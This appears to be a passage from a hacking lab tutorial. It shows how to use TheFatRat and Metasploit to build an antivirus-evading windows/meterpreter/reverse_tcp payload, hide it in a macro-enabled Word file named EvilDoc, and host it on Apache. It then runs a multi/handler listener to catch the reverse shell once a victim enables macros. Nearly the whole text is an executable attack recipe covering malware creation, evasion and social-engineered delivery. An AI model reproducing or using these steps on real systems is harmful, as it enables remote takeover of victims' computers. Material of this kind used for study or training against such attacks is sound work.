When FatRat launches, starts to verify the installed dependencies, you will get multiple prompts, just type Enter to continue.

On the FatRat menu, choose [06] Create Fud Backdoor 1000% with PwnWindws [Excelent] by typing 6.

PwnWinds menu appears as shown above, choose the [3] Create exe file with apache + Powershell (FUD 100%) by typing 3 in the menu.

Set the LHOST IP to your Kali IP; LPORT to 4444 and the output to payload as show above.

Next, chose [3] windows/meterpreter/reverse_tcp by typing 3.

If everything works, fatrat will generate a payload.exe file located on /root/Fatrat_Generated/ as shown below:

Backdoor Saved To : /root/Fatrat_Generated/payload.exe

Make a Malicious Word File

Go back to the main menu by choosing [9] Back to menu.

On the main menu, choose the [07] Create Backdoor For Office with Microsploit

On the Microsploit menu, choose [2] The Microsoft Office Macro on Windows by typing 2.

The next configurations will be:

1. LHOST IP: [Your Kali IP]
2. LPORT: 4444
3. Enter the base name for output files: EvilDoc
4. Enter the message for the document body: you have been PWNED :)
5. The next prompt will ask if you want to use a custom exe to file backdoor. Choose y for yes.
6. Specify the exactly path to your payload.exe that you generated on the beginings of this lab: /root/Fatrat_Generated/payload.exe
7. On the Payload Option, choose the [3] windows/meterpreter/reverse_tcp by typing 3. Navigate to output folder of FatRat to you will see the generated Word file.

Set Up a Listener

Open another Terminal window and launch metasploit by typing: msfconsole.

Select the multi/handler:
use multi/handler

Set the payload to meterpreter/reverse_tcp:
set payload windows/meterpreter/reverse_tcp

Set the LHOST to your Kali IP and LPORT to 4444:
set LHOST 10.0.2.42
set LPORT 4444

Type run to start the listener:
run

Share the Malicious Doc File

To share the malicious file to Windows machine, copy the Doc file to the apache folder. Open a new Terminal window and type:
cp /root/Fatrat_Generated/EvilDoc.docm /var/www/html/share/

Then, start the apache service:
service apache2 start

Open the Malicious doc

Switch to your Windows machine and open the browser.

Type the URL (based on your Kali IP):
http://10.0.2.42/share/

Then, download the malicious doc that you generated.

Open the downloads folder and click the MS Word file.

MS Word open the file in Protected View. Click Enable Editing as shown below:

If you got the SECURITY WARNING because of the Macros, click on Enable Content.

Now Switch back to the Kali, if everything works, you will find that have a Meterpreter session open in the Metasploit terminal.

Now you can view the exploited system details and so on. Informally you can call this action ‘profit’ :)
